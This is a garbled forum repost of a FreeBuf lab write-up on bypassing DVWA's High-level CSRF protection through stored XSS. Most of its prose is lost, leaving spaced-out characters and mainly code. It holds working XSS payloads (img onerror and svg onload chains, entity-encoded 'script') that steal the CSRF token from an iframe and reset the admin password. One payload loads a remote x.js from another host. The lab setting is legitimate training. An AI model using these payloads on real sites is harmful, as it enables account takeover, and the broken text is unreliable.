[14120] 2019-05-18_DVWA1.10High等级的CSRF另类通关法

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2019-05-18_DVWA1.10High等级的CSRF另类通关法 D V W A   1 . 1 0   H i g h C S R F F 1 t z   F r e e B u f   2 0 1 9 - 0 5 - 1 8 C S R F   H i g h 便 便   ; - ) 0 x 0 0   C S R F v u l n e r a b i l i t i e s c s r f s o u r c e h i g h . p h p 使 t o k e n X S S X S S t o k e n 0 x 0 1     X S S - S t o r e d v u l n e r a b i l i t i e s x s s _ s s o u r c e h i g h . p h p $ n a m e X S S C S R F D V W A g u e s t b o o k n a m e v a r c h a r ( 1 0 0 ) n a m e 1 0 0 b y p a s s 0 x 0 2   D V W A N a m e 1 0 B u r p s u i t e B T W :   D V W A < ? p h p i f (   i s s e t (   $ _ G E T [   ' C h a n g e '   ]   )   )   {         / /     T o k e n   i n d e x . p h p         / /   d v w a i n c l u d e s d v w a P a g e . i n c . p h p : 5 2 7         c h e c k T o k e n (   $ _ R E Q U E S T [   ' u s e r _ t o k e n '   ] ,   $ _ S E S S I O N [   ' s e s s i o n _ t o k e n '   ] ,   ' i n d e x . p h p '   ) ; / / . . . . . . / /     T o k e n   ,   使   m d 5 (   u n i q i d ( )   ) T o k e n / /   d v w a i n c l u d e s d v w a P a g e . i n c . p h p : 5 2 7 g e n e r a t e S e s s i o n T o k e n ( ) ; ? > < ? p h p i f (   i s s e t (   $ _ P O S T [   ' b t n S i g n '   ]   )   )   {         / /   G e t   i n p u t         $ m e s s a g e   =   t r i m (   $ _ P O S T [   ' m t x M e s s a g e '   ]   ) ;         $ n a m e         =   t r i m (   $ _ P O S T [   ' t x t N a m e '   ]   ) ;         / /   s t r i p _ t a g s H T M L h t m l s p e c i a l c h a r s   & " < >           $ m e s s a g e   =   s t r i p _ t a g s (   a d d s l a s h e s (   $ m e s s a g e   )   ) ;         . . .         $ m e s s a g e   =   h t m l s p e c i a l c h a r s (   $ m e s s a g e   ) ;         / /   $ n a m e X S S         $ n a m e   =   p r e g _ r e p l a c e (   ' / < ( . * ) s ( . * ) c ( . * ) r ( . * ) i ( . * ) p ( . * ) t / i ' ,   ' ' ,   $ n a m e   ) ;         . . .         / /   $ m e s s a g e $ n a m e         $ q u e r y     =   " I N S E R T   I N T O   g u e s t b o o k   (   c o m m e n t ,   n a m e   )   V A L U E S   (   ' $ m e s s a g e ' ,   ' $ n a m e '   ) ; " ;         . . .         / / m y s q l _ c l o s e ( ) ; } ? > / /   = = U s e r S c r i p t = = / /   @ n a m e                   D V W A / /   @ n a m e s p a c e         h t t p : / / t a m p e r m o n k e y . n e t / / /   @ v e r s i o n             0 . 1 / /   @ d e s c r i p t i o n     t r y   t o   t a k e   o v e r   t h e   w o r l d ! / /   @ a u t h o r               F 1 t z / /   @ m a t c h                 h t t p : / / d v w a . l a b / v u l n e r a b i l i t i e s / x s s _ s / / /   @ g r a n t                 n o n e / /   = = / U s e r S c r i p t = =
1 0 0 M e s s a g e 1 0 x 0 3   p a y l o a d P a y l o a d a d m i n   p a s s w o r d C S R F 1 0 0 p a y l o a d 7 / /   = = / U s e r S c r i p t = = ( f u n c t i o n ( )   {         ' u s e   s t r i c t ' ;         v a r   N   =   d o c u m e n t . g e t E l e m e n t s B y N a m e ( ' t x t N a m e ' ) ;         v a r   M   =   d o c u m e n t . g e t E l e m e n t s B y N a m e ( ' m t x M e s s a g e ' ) ;         N [ 0 ] . m a x L e n g t h = 1 0 0 ;         N [ 0 ] . s i z e = 6 0 ;         M [ 0 ] . v a l u e = 1 ; } ) ( ) ; i f r a m e < i f r a m e   s r c = " . . / c s r f " > < / i f r a m e > p a y l o a d f = f r a m e s [ 0 ] ; t = f . d o c u m e n t . g e t E l e m e n t s B y N a m e ( ' u s e r _ t o k e n ' ) [ 0 ] . v a l u e ; i = d o c u m e n t . c r e a t e E l e m e n t ( ' i m g ' ) ; i . s r c = ' . . / c s r f / ? p a s s w o r d _ n e w = a d m i n & p a s s w o r d _ c o n f = a d m i n & C h a n g e = C h a n g e & u s e r _ t o k e n = ' < i f r a m e   s r c = " . . / c s r f " > < / i f r a m e >         < i m g   s r c = " x "   o n e r r o r = " f = f r a m e s [ 0 ] ; " >         < i m g   s r c = " x "   o n e r r o r = " s = ' . . / c s r f / ? p a s s w o r d _ n e w = a d m i n & p a s s w o r d _ c o n f = a d m i n ' " >         < i m g   s r c = " x "   o n e r r o r = " s + = ' & C h a n g e = C h a n g e & u s e r _ t o k e n = ' " >         < i m g   s r c = " x "   o n e r r o r = " t = f . d o c u m e n t . g e t E l e m e n t s B y N a m e ( ' u s e r _ t o k e n ' ) [ 0 ] . v a l u e ; " >         < i m g   s r c = " x "   o n e r r o r = " i = d o c u m e n t . c r e a t e E l e m e n t ( ' i m g ' ) ; " >         < i m g   s r c = " x "   o n e r r o r = " i . s r c = s + t " >
D O M C o n s o l e
i m g   o n e r r o r s v g / o n l o a d o n l o a d 使   ' w i n d o w . o n l o a d ; '   H T M L 0 x 0 4   p a y l o a d s c r i p t j s A S C I I   : - (   p a y l o a d 4 便   x . j s     a l e r t ( ' H e l l o D V W A ' ) < i f r a m e   s r c = " . . / c s r f " > < / i f r a m e > < s v g / o n l o a d = " f = f r a m e s [ 0 ] " > < s v g / o n l o a d = " s = ' . . / c s r f / ? p a s s w o r d _ n e w = a d m i n & p a s s w o r d _ c o n f = a d m i n ' " > < s v g / o n l o a d = " s + = ' & C h a n g e = C h a n g e & u s e r _ t o k e n = ' " > < s v g / o n l o a d = " t = f . d o c u m e n t . g e t E l e m e n t s B y N a m e ( ' u s e r _ t o k e n ' ) [ 0 ] . v a l u e " > < s v g / o n l o a d = " i = d o c u m e n t . c r e a t e E l e m e n t ( ' i m g ' ) " > < s v g / o n l o a d = " i . s r c = s + t " > < s v g / o n l o a d = " s = ' s c r i p ' " > < s v g / o n l o a d = " j = d o c u m e n t . c r e a t e E l e m e n t ( s + ' t ' ) " > s c r i p t & # 1 1 5 ; & # 9 9 ; & # 1 1 4 ; & # 1 0 5 ; & # 1 1 2 ; & # 1 1 6 ; < s v g / o n l o a d = " s = ' & # 1 1 5 ; & # 9 9 ; & # 1 1 4 ; & # 1 0 5 ; & # 1 1 2 ; & # 1 1 6 ; ' " > < s v g / o n l o a d = " s = ' & # 1 1 5 ; & # 9 9 ; & # 1 1 4 ; & # 1 0 5 ; & # 1 1 2 ; & # 1 1 6 ; ' " > < s v g / o n l o a d = " j = d o c u m e n t . c r e a t e E l e m e n t ( s ) " > < s v g / o n l o a d = " j . s r c = ' h t t p : / / 1 9 2 . 1 6 8 . 2 2 4 . 1 / x . j s ' " > < s v g / o n l o a d = " d o c u m e n t . b o d y . a p p e n d C h i l d ( j ) " >
x . j s   0 x 0 5   p a y l o a d c h r o m e f i r e f o x 便 x . j s P o C   访 ( X S S - S t o r e d ) < s v g / o n l o a d = " s e t T i m e o u t ( f u n c t i o n ( ) { s = ' & # 1 1 5 ; & # 9 9 ; & # 1 1 4 ; & # 1 0 5 ; & # 1 1 2 ; & # 1 1 6 ; ' } , 3 0 0 0 ) " > < s v g / o n l o a d = " s e t T i m e o u t ( f u n c t i o n ( ) { j = d o c u m e n t . c r e a t e E l e m e n t ( s ) } , 4 0 0 0 ) " > < s v g / o n l o a d = " s e t T i m e o u t ( f u n c t i o n ( ) { j . s r c = ' h t t p : / / 1 9 2 . 1 6 8 . 2 2 4 . 1 / x . j s ' } , 5 0 0 0 ) " > < s v g / o n l o a d = " s e t T i m e o u t ( f u n c t i o n ( ) { d o c u m e n t . b o d y . a p p e n d C h i l d ( j ) } , 6 0 0 0 ) " > i f r   =   d o c u m e n t . c r e a t e E l e m e n t ( ' i f r a m e ' ) ; i f r . s r c = " . . / c s r f " ; i f r . h i d d e n = 1 ; d o c u m e n t . b o d y . a p p e n d C h i l d ( i f r ) ; s e t T i m e o u t ( f u n c t i o n ( ) { f = f r a m e s [ 0 ] ; t = f . d o c u m e n t . g e t E l e m e n t s B y N a m e ( ' u s e r _ t o k e n ' ) [ 0 ] . v a l u e ; i = d o c u m e n t . c r e a t e E l e m e n t ( ' i m g ' ) ; i . s r c = ' . . / c s r f / ? p a s s w o r d _ n e w = a d m i n & p a s s w o r d _ c o n f = a d m i n & C h a n g e = C h a n g e & u s e r _ t o k e n = '
1 x . j s 2 x . j s i f r a m e D O M 3 i f r a m e 便 i m g 0 x 0 6   D V W A   * F 1 t z   F r e e B u f  
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则